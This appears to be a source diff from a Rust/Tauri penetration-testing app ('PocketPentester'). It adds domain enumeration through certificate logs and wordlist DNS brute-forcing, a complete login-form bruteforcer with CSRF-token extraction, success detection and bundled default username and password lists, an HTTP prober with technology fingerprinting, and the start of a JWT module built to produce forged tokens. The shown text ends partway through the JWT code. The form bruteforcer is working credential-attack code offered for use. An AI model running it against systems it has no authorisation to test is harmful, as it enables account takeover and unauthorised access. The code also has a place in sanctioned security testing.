|
||||
|
||||
// ---- source: hackertarget (50 queries/day per IP, no key) ----
|
||||
async fn src_hackertarget(
|
||||
client: &reqwest::Client, tld: &str, keyword: Option<&str>,
|
||||
) -> anyhow::Result<Vec<String>> {
|
||||
let domain = match keyword {
|
||||
Some(k) if !k.is_empty() => format!("{k}.{tld}"),
|
||||
_ => anyhow::bail!("hackertarget needs a keyword (e.g. 'gov' + 'id' → 'gov.id'); TLD-only not supported"),
|
||||
};
|
||||
let url = format!("https://api.hackertarget.com/hostsearch/?q={}", domain);
|
||||
let body = fetch_with_retry(client, &url, &[], 2).await?;
|
||||
if body.contains("API count exceeded") || body.contains("error check your search") {
|
||||
anyhow::bail!("rate limited (50/day/IP exhausted)");
|
||||
}
|
||||
let mut out = Vec::new();
|
||||
for line in body.lines() {
|
||||
if let Some((host, _)) = line.split_once(',') {
|
||||
if let Some(h) = clean_host(host, tld) { out.push(h); }
|
||||
}
|
||||
}
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
// ---- source: wordlist DNS brute + HTTP alive check ----
|
||||
//
|
||||
// For each word generates multiple candidate patterns, then two-stage verify:
|
||||
// 1. DNS resolve (fast-fail if NXDOMAIN)
|
||||
// 2. HTTP GET https:// or http:// — must respond with status 200-599
|
||||
// (treating ANY HTTP response as alive proof, even 4xx/5xx)
|
||||
//
|
||||
// Kills false positives from parking pages / wildcard DNS domains that
|
||||
// resolve but serve nothing.
|
||||
async fn src_wordlist(
|
||||
tld: &str, keyword: Option<&str>, words: &[String], concurrency: usize,
|
||||
app: &AppHandle, source_name: &str,
|
||||
) -> anyhow::Result<Vec<String>> {
|
||||
// --- stage 0: build unique candidate set ---
|
||||
let mut cand_set: HashSet<String> = HashSet::new();
|
||||
for w in words {
|
||||
let w = w.trim();
|
||||
if w.is_empty() { continue; }
|
||||
match keyword {
|
||||
Some(k) if !k.is_empty() => {
|
||||
cand_set.insert(format!("{w}.{k}.{tld}"));
|
||||
cand_set.insert(format!("www.{w}.{k}.{tld}"));
|
||||
cand_set.insert(format!("{w}-{k}.{tld}"));
|
||||
cand_set.insert(format!("{k}-{w}.{tld}"));
|
||||
}
|
||||
_ => {
|
||||
cand_set.insert(format!("{w}.{tld}"));
|
||||
cand_set.insert(format!("www.{w}.{tld}"));
|
||||
}
|
||||
}
|
||||
}
|
||||
let candidates: Vec<String> = cand_set.into_iter().collect();
|
||||
let total = candidates.len();
|
||||
let _ = app.emit("grab:status",
|
||||
format!("[{source_name}] {total} patterns to brute (dns + http check)"));
|
||||
|
||||
// --- shared resolver + http client ---
|
||||
let mut opts = ResolverOpts::default();
|
||||
opts.timeout = Duration::from_millis(1500);
|
||||
opts.attempts = 1;
|
||||
let resolver = Arc::new(TokioAsyncResolver::tokio(ResolverConfig::cloudflare(), opts));
|
||||
|
||||
let http = Arc::new(
|
||||
reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_millis(2500))
|
||||
.redirect(reqwest::redirect::Policy::none())
|
||||
.user_agent("Mozilla/5.0 (PocketPentester-DomainGrabber)")
|
||||
.build()
|
||||
.map_err(|e| anyhow::anyhow!("http client: {e}"))?,
|
||||
);
|
||||
|
||||
let sem = Arc::new(Semaphore::new(concurrency.max(1)));
|
||||
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
|
||||
let src_name = source_name.to_string();
|
||||
|
||||
let resolved: Vec<String> = stream::iter(candidates.into_iter())
|
||||
.map(|host| {
|
||||
let resolver = resolver.clone();
|
||||
let http = http.clone();
|
||||
let sem = sem.clone();
|
||||
let done = done.clone();
|
||||
let app = app.clone();
|
||||
let src_name = src_name.clone();
|
||||
async move {
|
||||
let _permit = sem.acquire().await.unwrap();
|
||||
|
||||
// stage 1: DNS — fast fail
|
||||
let dns_ok = resolver.lookup_ip(host.as_str()).await.is_ok();
|
||||
let host_out = if dns_ok {
|
||||
// stage 2: HTTP alive — try https then http
|
||||
let mut alive = false;
|
||||
for scheme in ["https", "http"] {
|
||||
let url = format!("{scheme}://{host}");
|
||||
if let Ok(resp) = http.get(&url).send().await {
|
||||
let s = resp.status().as_u16();
|
||||
if (200..600).contains(&s) { alive = true; break; }
|
||||
}
|
||||
}
|
||||
if alive { Some(host) } else { None }
|
||||
} else { None };
|
||||
|
||||
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
|
||||
if n % 100 == 0 || n == total {
|
||||
let _ = app.emit("grab:wl-progress",
|
||||
serde_json::json!({ "source": src_name, "done": n, "total": total }));
|
||||
}
|
||||
host_out
|
||||
}
|
||||
})
|
||||
.buffer_unordered(concurrency.max(1))
|
||||
.filter_map(|x| async move { x })
|
||||
.collect()
|
||||
.await;
|
||||
|
||||
Ok(resolved)
|
||||
}
|
||||
|
||||
// ---- source: certspotter (fallback — CT log, very reliable) ----
|
||||
async fn src_certspotter(
|
||||
client: &reqwest::Client, tld: &str, keyword: Option<&str>,
|
||||
) -> anyhow::Result<Vec<String>> {
|
||||
// certspotter doesn't support TLD wildcard natively, but we can query a
|
||||
// well-known keyword+TLD (e.g. "gov.id") to pull all matching certs.
|
||||
let domain = match keyword {
|
||||
Some(k) if !k.is_empty() => format!("{k}.{tld}"),
|
||||
_ => anyhow::bail!("certspotter needs a keyword (e.g. gov, bank) — tld-only not supported"),
|
||||
};
|
||||
let url = format!("https://api.certspotter.com/v1/issuances?domain={}&include_subdomains=true&expand=dns_names", domain);
|
||||
let body = fetch_with_retry(client, &url, &[], 2).await?;
|
||||
let val: serde_json::Value = serde_json::from_str(&body)?;
|
||||
let arr = val.as_array().map(|a| a.as_slice()).unwrap_or(&[]);
|
||||
let mut out = Vec::new();
|
||||
for r in arr {
|
||||
if let Some(names) = r.get("dns_names").and_then(|v| v.as_array()) {
|
||||
for n in names {
|
||||
if let Some(s) = n.as_str() {
|
||||
if let Some(h) = clean_host(s, tld) { out.push(h); }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// Orchestrator
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn domain_grab(app: AppHandle, req: GrabRequest) -> Result<Vec<GrabHit>, String> {
|
||||
let tld = normalize_tld(&req.tld);
|
||||
if tld.is_empty() { return Err("empty tld".into()); }
|
||||
let client = reqwest::Client::builder()
|
||||
.timeout(Duration::from_millis(req.timeout_ms))
|
||||
.user_agent("Mozilla/5.0 (PocketPentester-DomainGrabber)")
|
||||
.build()
|
||||
.map_err(|e| e.to_string())?;
|
||||
|
||||
let _ = app.emit("grab:status",
|
||||
format!("grabbing .{tld}{} from {} source(s)",
|
||||
req.keyword.as_deref().map(|k| format!(" /keyword={k}")).unwrap_or_default(),
|
||||
req.sources.len()));
|
||||
|
||||
let seen: Arc<tokio::sync::Mutex<HashSet<String>>> = Arc::new(tokio::sync::Mutex::new(HashSet::new()));
|
||||
let mut all: Vec<GrabHit> = Vec::new();
|
||||
|
||||
let results = futures::future::join_all(req.sources.iter().map(|name| {
|
||||
let client = client.clone();
|
||||
let tld = tld.clone();
|
||||
let keyword = req.keyword.clone();
|
||||
let name = name.clone();
|
||||
let app = app.clone();
|
||||
let max = req.max_per_source;
|
||||
let wl_conc = req.wordlist_concurrency;
|
||||
async move {
|
||||
let started = std::time::Instant::now();
|
||||
let res = match name.as_str() {
|
||||
"crtsh" => src_crtsh(&client, &tld, keyword.as_deref()).await,
|
||||
"commoncrawl" => src_commoncrawl(&client, &tld, keyword.as_deref(), max).await,
|
||||
"rapiddns" => src_rapiddns(&client, &tld, keyword.as_deref()).await,
|
||||
"hackertarget" => src_hackertarget(&client, &tld, keyword.as_deref()).await,
|
||||
"certspotter" => src_certspotter(&client, &tld, keyword.as_deref()).await,
|
||||
"wordlist-id" => src_wordlist(&tld, keyword.as_deref(), &WL_KOMPAS, wl_conc, &app, &name).await,
|
||||
"wordlist-id-full" => src_wordlist(&tld, keyword.as_deref(), &WL_KBBI, wl_conc, &app, &name).await,
|
||||
"wordlist-en" => src_wordlist(&tld, keyword.as_deref(), &WL_EN_COMMON, wl_conc, &app, &name).await,
|
||||
"wordlist-subs" => src_wordlist(&tld, keyword.as_deref(), &WL_SUBS, wl_conc, &app, &name).await,
|
||||
other => Err(anyhow::anyhow!("unknown source: {other}")),
|
||||
};
|
||||
let took = started.elapsed().as_millis();
|
||||
let stat = match &res {
|
||||
Ok(list) => SourceStat { source: name.clone(), count: list.len(), error: None, took_ms: took },
|
||||
Err(e) => SourceStat { source: name.clone(), count: 0, error: Some(e.to_string()), took_ms: took },
|
||||
};
|
||||
let _ = app.emit("grab:source", stat);
|
||||
(name, res)
|
||||
}
|
||||
})).await;
|
||||
|
||||
for (name, res) in results {
|
||||
if let Ok(list) = res {
|
||||
let mut added = 0usize;
|
||||
for host in list.into_iter().take(req.max_per_source * 4) {
|
||||
let key = if req.apex_only { apex_of(&host, &tld) } else { host.clone() };
|
||||
let mut guard = seen.lock().await;
|
||||
if guard.insert(key.clone()) {
|
||||
drop(guard);
|
||||
let hit = GrabHit { domain: key, source: name.clone() };
|
||||
let _ = app.emit("grab:hit", hit.clone());
|
||||
all.push(hit);
|
||||
added += 1;
|
||||
if added >= req.max_per_source { break; }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let _ = app.emit("grab:done", all.len());
|
||||
Ok(all)
|
||||
}
|
||||
335
src-tauri/src/modules/form_brute.rs
Normal file
@@ -0,0 +1,335 @@
|
||||
// ===================================================================
|
||||
// Form Bruter — POST/GET login bruteforce with regex success/fail detection.
|
||||
//
|
||||
// Body template supports {USER} and {PASS} placeholders.
|
||||
// Also supports {CSRF} — auto-extracted from a "priming" GET request.
|
||||
//
|
||||
// Success detection (in order, first matching rule wins):
|
||||
// 1. success_regex — regex matching response body
|
||||
// 2. fail_regex — regex matching response body (miss = hit)
|
||||
// 3. success_status — status code matches (e.g. 302)
|
||||
// 4. content-length delta threshold
|
||||
// ===================================================================
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::sync::Arc;
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
use futures::stream::{self, StreamExt};
|
||||
use regex::Regex;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tauri::{AppHandle, Emitter};
|
||||
use tokio::sync::Semaphore;
|
||||
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
pub struct FormBruteRequest {
|
||||
pub url: String,
|
||||
#[serde(default = "default_method")]
|
||||
pub method: String,
|
||||
/// Body template (or query if method=GET). Ex: `user={USER}&pass={PASS}`
|
||||
pub body_template: String,
|
||||
#[serde(default)]
|
||||
pub headers: HashMap<String, String>,
|
||||
|
||||
pub users: Vec<String>,
|
||||
pub passwords: Vec<String>,
|
||||
|
||||
/// Attack mode: "clusterbomb" (cart. product, default) or "pitchfork" (lockstep pairs).
|
||||
#[serde(default = "default_mode")]
|
||||
pub mode: String,
|
||||
|
||||
/// Prime URL — optional GET first to pick up cookies / CSRF token.
|
||||
#[serde(default)]
|
||||
pub prime_url: Option<String>,
|
||||
/// Regex to extract CSRF token from priming response. Use capture group 1.
|
||||
#[serde(default)]
|
||||
pub csrf_regex: Option<String>,
|
||||
#[allow(dead_code)]
|
||||
#[serde(default = "default_csrf_field")]
|
||||
pub csrf_field: String, // placeholder name in body template, default {CSRF}
|
||||
|
||||
/// Success / failure detection (any match hits).
|
||||
#[serde(default)]
|
||||
pub success_regex: Option<String>,
|
||||
#[serde(default)]
|
||||
pub fail_regex: Option<String>,
|
||||
#[serde(default)]
|
||||
pub success_status: Option<Vec<u16>>,
|
||||
/// If set, any response with body length outside baseline ± this delta is treated as success.
|
||||
#[serde(default)]
|
||||
pub size_delta_threshold: Option<i64>,
|
||||
|
||||
pub concurrency: usize,
|
||||
pub timeout_ms: u64,
|
||||
#[serde(default)]
|
||||
pub follow_redirects: bool,
|
||||
#[serde(default)]
|
||||
pub stop_on_first: bool,
|
||||
}
|
||||
|
||||
fn default_method() -> String { "POST".into() }
|
||||
fn default_mode() -> String { "clusterbomb".into() }
|
||||
fn default_csrf_field() -> String { "{CSRF}".into() }
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct FormBruteHit {
|
||||
pub user: String,
|
||||
pub pass: String,
|
||||
pub status: u16,
|
||||
pub size: u64,
|
||||
pub redirect: Option<String>,
|
||||
pub reason: String,
|
||||
pub time_ms: u128,
|
||||
}
|
||||
|
||||
fn urlencode(s: &str) -> String {
|
||||
use std::fmt::Write;
|
||||
let mut out = String::new();
|
||||
for b in s.as_bytes() {
|
||||
match *b {
|
||||
b'A'..=b'Z' | b'a'..=b'z' | b'0'..=b'9' | b'-' | b'_' | b'.' | b'~' => out.push(*b as char),
|
||||
_ => { let _ = write!(out, "%{:02X}", b); }
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
fn substitute(template: &str, user: &str, pass: &str, csrf: &str) -> String {
|
||||
template
|
||||
.replace("{USER}", &urlencode(user))
|
||||
.replace("{PASS}", &urlencode(pass))
|
||||
.replace("{CSRF}", &urlencode(csrf))
|
||||
.replace("{USER_RAW}", user)
|
||||
.replace("{PASS_RAW}", pass)
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn form_brute_run(app: AppHandle, req: FormBruteRequest) -> Result<Vec<FormBruteHit>, String> {
|
||||
let client = reqwest::ClientBuilder::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_millis(req.timeout_ms))
|
||||
.redirect(if req.follow_redirects {
|
||||
reqwest::redirect::Policy::limited(5)
|
||||
} else {
|
||||
reqwest::redirect::Policy::none()
|
||||
})
|
||||
.cookie_store(true)
|
||||
.user_agent("Mozilla/5.0 (PocketPentester-FormBrute)")
|
||||
.build()
|
||||
.map_err(|e| e.to_string())?;
|
||||
|
||||
// ---- priming: GET + CSRF extraction ----
|
||||
let mut csrf_val = String::new();
|
||||
if let Some(pu) = &req.prime_url {
|
||||
let _ = app.emit("brute:status", format!("priming {pu}"));
|
||||
match client.get(pu).send().await {
|
||||
Ok(resp) => {
|
||||
let body = resp.text().await.unwrap_or_default();
|
||||
if let Some(pattern) = &req.csrf_regex {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
if let Some(cap) = re.captures(&body) {
|
||||
if let Some(m) = cap.get(1).or_else(|| cap.get(0)) {
|
||||
csrf_val = m.as_str().to_string();
|
||||
let _ = app.emit("brute:status", format!("csrf token extracted ({} chars)", csrf_val.len()));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if csrf_val.is_empty() && req.csrf_regex.is_some() {
|
||||
let _ = app.emit("brute:status", "csrf regex did not match priming response");
|
||||
}
|
||||
}
|
||||
Err(e) => { let _ = app.emit("brute:status", format!("prime failed: {e}")); }
|
||||
}
|
||||
}
|
||||
|
||||
// ---- baseline: 1 request with dummy creds to learn the "failure" size ----
|
||||
let baseline_body = substitute(&req.body_template, "baseline_xxxxxxxx", "baseline_yyyyyy", &csrf_val);
|
||||
let baseline_size: Option<i64> = {
|
||||
let mut b = client.request(
|
||||
reqwest::Method::from_bytes(req.method.as_bytes()).unwrap_or(reqwest::Method::POST),
|
||||
&req.url,
|
||||
);
|
||||
for (k, v) in &req.headers { b = b.header(k, v); }
|
||||
if req.method.to_uppercase() == "GET" {
|
||||
b = b.query(&parse_kv(&baseline_body));
|
||||
} else {
|
||||
b = b.header("Content-Type", "application/x-www-form-urlencoded").body(baseline_body);
|
||||
}
|
||||
match b.send().await {
|
||||
Ok(r) => {
|
||||
let txt = r.text().await.unwrap_or_default();
|
||||
Some(txt.len() as i64)
|
||||
}
|
||||
Err(_) => None,
|
||||
}
|
||||
};
|
||||
if let Some(bs) = baseline_size {
|
||||
let _ = app.emit("brute:status", format!("baseline fail response: {bs} bytes"));
|
||||
}
|
||||
|
||||
// ---- build pairs ----
|
||||
let pairs: Vec<(String, String)> = match req.mode.as_str() {
|
||||
"pitchfork" => {
|
||||
let n = req.users.len().min(req.passwords.len());
|
||||
(0..n).map(|i| (req.users[i].clone(), req.passwords[i].clone())).collect()
|
||||
}
|
||||
_ => {
|
||||
let mut out = Vec::with_capacity(req.users.len() * req.passwords.len());
|
||||
for u in &req.users {
|
||||
for p in &req.passwords {
|
||||
out.push((u.clone(), p.clone()));
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
};
|
||||
|
||||
let total = pairs.len();
|
||||
let _ = app.emit("brute:status", format!("attempting {total} combinations ({})", req.mode));
|
||||
|
||||
// ---- compile regexes once ----
|
||||
let succ_re = req.success_regex.as_ref().and_then(|p| Regex::new(p).ok());
|
||||
let fail_re = req.fail_regex.as_ref().and_then(|p| Regex::new(p).ok());
|
||||
let succ_status: std::collections::HashSet<u16> = req.success_status.clone().unwrap_or_default().into_iter().collect();
|
||||
|
||||
let sem = Arc::new(Semaphore::new(req.concurrency.max(1)));
|
||||
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
|
||||
let stop = Arc::new(std::sync::atomic::AtomicBool::new(false));
|
||||
let client = Arc::new(client);
|
||||
|
||||
let csrf = csrf_val;
|
||||
let method = reqwest::Method::from_bytes(req.method.to_uppercase().as_bytes())
|
||||
.map_err(|e| format!("bad method: {e}"))?;
|
||||
|
||||
let hits: Vec<FormBruteHit> = stream::iter(pairs.into_iter())
|
||||
.map(|(user, pass)| {
|
||||
let client = client.clone();
|
||||
let sem = sem.clone();
|
||||
let done = done.clone();
|
||||
let stop = stop.clone();
|
||||
let app = app.clone();
|
||||
let url = req.url.clone();
|
||||
let headers = req.headers.clone();
|
||||
let template = req.body_template.clone();
|
||||
let method = method.clone();
|
||||
let succ_re = succ_re.clone();
|
||||
let fail_re = fail_re.clone();
|
||||
let succ_status = succ_status.clone();
|
||||
let size_delta = req.size_delta_threshold;
|
||||
let csrf = csrf.clone();
|
||||
let stop_first = req.stop_on_first;
|
||||
async move {
|
||||
if stop.load(std::sync::atomic::Ordering::Relaxed) { return None; }
|
||||
let _permit = sem.acquire().await.unwrap();
|
||||
if stop.load(std::sync::atomic::Ordering::Relaxed) { return None; }
|
||||
|
||||
let body = substitute(&template, &user, &pass, &csrf);
|
||||
let start = Instant::now();
|
||||
|
||||
let mut builder = client.request(method.clone(), &url);
|
||||
for (k, v) in &headers { builder = builder.header(k, v); }
|
||||
if method == reqwest::Method::GET {
|
||||
builder = builder.query(&parse_kv(&body));
|
||||
} else {
|
||||
builder = builder.header("Content-Type", "application/x-www-form-urlencoded").body(body);
|
||||
}
|
||||
|
||||
let resp = match builder.send().await {
|
||||
Ok(r) => r,
|
||||
Err(_) => {
|
||||
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
|
||||
let _ = app.emit("brute:progress", serde_json::json!({"done": n, "total": total}));
|
||||
return None;
|
||||
}
|
||||
};
|
||||
|
||||
let status = resp.status().as_u16();
|
||||
let redirect = resp.headers().get("location")
|
||||
.and_then(|v| v.to_str().ok()).map(String::from);
|
||||
let body_text = resp.text().await.unwrap_or_default();
|
||||
let size = body_text.len() as u64;
|
||||
let time_ms = start.elapsed().as_millis();
|
||||
|
||||
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
|
||||
let _ = app.emit("brute:progress", serde_json::json!({"done": n, "total": total}));
|
||||
|
||||
// detect success
|
||||
let mut reason = String::new();
|
||||
let mut matched = false;
|
||||
if let Some(re) = &succ_re {
|
||||
if re.is_match(&body_text) { matched = true; reason = "success_regex matched".into(); }
|
||||
}
|
||||
if !matched {
|
||||
if let Some(re) = &fail_re {
|
||||
if !re.is_match(&body_text) { matched = true; reason = "fail_regex did NOT match".into(); }
|
||||
}
|
||||
}
|
||||
if !matched && !succ_status.is_empty() && succ_status.contains(&status) {
|
||||
matched = true; reason = format!("success_status matched ({status})");
|
||||
}
|
||||
if !matched {
|
||||
if let (Some(delta), Some(bs)) = (size_delta, baseline_size) {
|
||||
if (size as i64 - bs).abs() > delta {
|
||||
matched = true;
|
||||
reason = format!("size delta {} > {} (baseline {bs} vs {size})",
|
||||
(size as i64 - bs).abs(), delta);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if matched {
|
||||
let hit = FormBruteHit { user, pass, status, size, redirect, reason, time_ms };
|
||||
let _ = app.emit("brute:hit", hit.clone());
|
||||
if stop_first { stop.store(true, std::sync::atomic::Ordering::Relaxed); }
|
||||
Some(hit)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
})
|
||||
.buffer_unordered(req.concurrency.max(1))
|
||||
.filter_map(|x| async move { x })
|
||||
.collect()
|
||||
.await;
|
||||
|
||||
let _ = app.emit("brute:done", hits.len());
|
||||
Ok(hits)
|
||||
}
|
||||
|
||||
fn parse_kv(s: &str) -> Vec<(String, String)> {
|
||||
s.split('&').filter_map(|p| {
|
||||
let (k, v) = p.split_once('=')?;
|
||||
Some((k.to_string(), v.to_string()))
|
||||
}).collect()
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub fn form_brute_common_users() -> Vec<&'static str> {
|
||||
vec![
|
||||
"admin", "administrator", "root", "user", "test", "guest",
|
||||
"superadmin", "sysadmin", "operator", "supervisor", "manager",
|
||||
"support", "webmaster", "backup", "dev", "developer",
|
||||
"info", "info@", "contact", "sales", "moderator",
|
||||
"admin1", "admin2", "administrator1",
|
||||
"pentest", "oscp", "offsec",
|
||||
// common emails
|
||||
"admin@example.com", "test@test.com",
|
||||
]
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub fn form_brute_common_passwords() -> Vec<&'static str> {
|
||||
vec![
|
||||
"admin", "admin123", "administrator", "password", "password123", "pass123",
|
||||
"12345", "123456", "1234567", "12345678", "123456789", "1234567890",
|
||||
"qwerty", "qwerty123", "abc123", "111111", "000000", "letmein",
|
||||
"welcome", "welcome1", "welcome123", "changeme", "changeme123",
|
||||
"root", "toor", "pass", "test", "demo", "guest",
|
||||
"default", "admin@123", "P@ssw0rd", "Password1", "P@ssword1",
|
||||
"iloveyou", "monkey", "dragon", "master", "football", "baseball",
|
||||
"Summer2023", "Summer2024", "Winter2024", "Autumn2024",
|
||||
"company123", "corp123", "Company2024",
|
||||
"admin2024", "password2024", "admin2023", "password2023",
|
||||
]
|
||||
}
|
||||
147
src-tauri/src/modules/httpx.rs
Normal file
@@ -0,0 +1,147 @@
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use futures::stream::{self, StreamExt};
|
||||
use once_cell::sync::Lazy;
|
||||
use regex::Regex;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tauri::{AppHandle, Emitter};
|
||||
use tokio::sync::Semaphore;
|
||||
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
pub struct HttpProbeRequest {
|
||||
pub targets: Vec<String>,
|
||||
pub ports: Option<Vec<u16>>,
|
||||
pub concurrency: usize,
|
||||
pub timeout_ms: u64,
|
||||
pub follow_redirects: bool,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct HttpProbeResult {
|
||||
pub url: String,
|
||||
pub status: u16,
|
||||
pub title: Option<String>,
|
||||
pub server: Option<String>,
|
||||
pub content_length: Option<u64>,
|
||||
pub tech: Vec<String>,
|
||||
}
|
||||
|
||||
static TITLE_RE: Lazy<Regex> =
|
||||
Lazy::new(|| Regex::new(r"(?is)<title[^>]*>(.*?)</title>").unwrap());
|
||||
|
||||
fn detect_tech(headers: &reqwest::header::HeaderMap, body: &str) -> Vec<String> {
|
||||
let mut tech = Vec::new();
|
||||
let get = |k: &str| headers.get(k).and_then(|v| v.to_str().ok()).unwrap_or("");
|
||||
|
||||
let server = get("server").to_lowercase();
|
||||
let powered = get("x-powered-by").to_lowercase();
|
||||
|
||||
if server.contains("nginx") { tech.push("nginx".into()); }
|
||||
if server.contains("apache") { tech.push("apache".into()); }
|
||||
if server.contains("cloudflare") { tech.push("cloudflare".into()); }
|
||||
if server.contains("iis") { tech.push("iis".into()); }
|
||||
if powered.contains("php") { tech.push("php".into()); }
|
||||
if powered.contains("express") { tech.push("express".into()); }
|
||||
if powered.contains("asp.net") { tech.push("asp.net".into()); }
|
||||
|
||||
let b = body.to_lowercase();
|
||||
if b.contains("wp-content") || b.contains("wp-includes") { tech.push("wordpress".into()); }
|
||||
if b.contains("drupal-settings-json") { tech.push("drupal".into()); }
|
||||
if b.contains("joomla") { tech.push("joomla".into()); }
|
||||
if b.contains("__next_data__") { tech.push("next.js".into()); }
|
||||
if b.contains("data-reactroot") || b.contains("__reactcontainer") { tech.push("react".into()); }
|
||||
if b.contains("ng-version") { tech.push("angular".into()); }
|
||||
if b.contains("window.laravel") || b.contains("laravel_session") { tech.push("laravel".into()); }
|
||||
|
||||
tech
|
||||
}
|
||||
|
||||
async fn probe_one(client: &reqwest::Client, url: String) -> Option<HttpProbeResult> {
|
||||
let resp = client.get(&url).send().await.ok()?;
|
||||
let status = resp.status().as_u16();
|
||||
let headers = resp.headers().clone();
|
||||
let content_length = resp.content_length();
|
||||
let server = headers
|
||||
.get("server")
|
||||
.and_then(|v| v.to_str().ok())
|
||||
.map(String::from);
|
||||
|
||||
let body = resp.text().await.unwrap_or_default();
|
||||
let title = TITLE_RE
|
||||
.captures(&body)
|
||||
.and_then(|c| c.get(1))
|
||||
.map(|m| m.as_str().trim().to_string())
|
||||
.filter(|s| !s.is_empty());
|
||||
|
||||
let tech = detect_tech(&headers, &body);
|
||||
|
||||
Some(HttpProbeResult { url, status, title, server, content_length, tech })
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn http_probe(
|
||||
app: AppHandle,
|
||||
req: HttpProbeRequest,
|
||||
) -> Result<Vec<HttpProbeResult>, String> {
|
||||
let client = reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_millis(req.timeout_ms))
|
||||
.redirect(if req.follow_redirects {
|
||||
reqwest::redirect::Policy::limited(5)
|
||||
} else {
|
||||
reqwest::redirect::Policy::none()
|
||||
})
|
||||
.user_agent("Mozilla/5.0 (PocketPentester)")
|
||||
.build()
|
||||
.map_err(|e| e.to_string())?;
|
||||
|
||||
let ports = req.ports.unwrap_or_else(|| vec![80, 443, 8080, 8443]);
|
||||
|
||||
let mut urls: Vec<String> = Vec::new();
|
||||
for t in &req.targets {
|
||||
let t = t.trim();
|
||||
if t.starts_with("http://") || t.starts_with("https://") {
|
||||
urls.push(t.to_string());
|
||||
continue;
|
||||
}
|
||||
for p in &ports {
|
||||
let scheme = if matches!(p, 443 | 8443) { "https" } else { "http" };
|
||||
if *p == 80 || *p == 443 {
|
||||
urls.push(format!("{scheme}://{t}"));
|
||||
} else {
|
||||
urls.push(format!("{scheme}://{t}:{p}"));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let total = urls.len();
|
||||
let sem = Arc::new(Semaphore::new(req.concurrency.max(1)));
|
||||
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
|
||||
let client = Arc::new(client);
|
||||
|
||||
let results: Vec<HttpProbeResult> = stream::iter(urls.into_iter())
|
||||
.map(|url| {
|
||||
let sem = sem.clone();
|
||||
let done = done.clone();
|
||||
let client = client.clone();
|
||||
let app = app.clone();
|
||||
async move {
|
||||
let _permit = sem.acquire().await.unwrap();
|
||||
let res = probe_one(&client, url).await;
|
||||
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
|
||||
let _ = app.emit("httpx:progress", serde_json::json!({"done": n, "total": total}));
|
||||
if let Some(ref r) = res {
|
||||
let _ = app.emit("httpx:hit", r.clone());
|
||||
}
|
||||
res
|
||||
}
|
||||
})
|
||||
.buffer_unordered(req.concurrency.max(1))
|
||||
.filter_map(|x| async move { x })
|
||||
.collect()
|
||||
.await;
|
||||
|
||||
let _ = app.emit("httpx:done", results.len());
|
||||
Ok(results)
|
||||
}
|
||||
257
src-tauri/src/modules/jwt.rs
Normal file
@@ -0,0 +1,257 @@
|
||||
use base64::engine::general_purpose::URL_SAFE_NO_PAD;
|
||||
use base64::Engine;
|
||||
use hmac::{Hmac, Mac};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use sha2::{Sha256, Sha384, Sha512};
|
||||
use tauri::{AppHandle, Emitter};
|
||||
|
||||
type HmacSha256 = Hmac<Sha256>;
|
||||
type HmacSha384 = Hmac<Sha384>;
|
||||
type HmacSha512 = Hmac<Sha512>;
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct JwtDecoded {
|
||||
pub header: serde_json::Value,
|
||||
pub payload: serde_json::Value,
|
||||
pub signature_b64: String,
|
||||
pub alg: String,
|
||||
pub issues: Vec<JwtIssue>,
|
||||
pub forgeries: Vec<JwtForgery>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct JwtIssue {
|
||||
pub severity: String,
|
||||
pub title: String,
|
||||
pub detail: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct JwtForgery {
|
||||
pub attack: String,
|
||||
pub description: String,
|
||||
pub token: String,
|
||||
}
|
||||
|
||||
fn b64_decode(s: &str) -> Option<Vec<u8>> {
|
||||
URL_SAFE_NO_PAD.decode(s).ok()
|
||||
}
|
||||
|
||||
fn b64_encode(b: &[u8]) -> String {
|
||||
URL_SAFE_NO_PAD.encode(b)
|
||||
}
|
||||
|
||||
fn parse(token: &str) -> Result<(serde_json::Value, serde_json::Value, String, String, String), String> {
|
||||
let parts: Vec<&str> = token.split('.').collect();
|
||||
if parts.len() != 3 {
|
||||
return Err("not a valid JWT (expected 3 parts)".into());
|
||||
}
|
||||
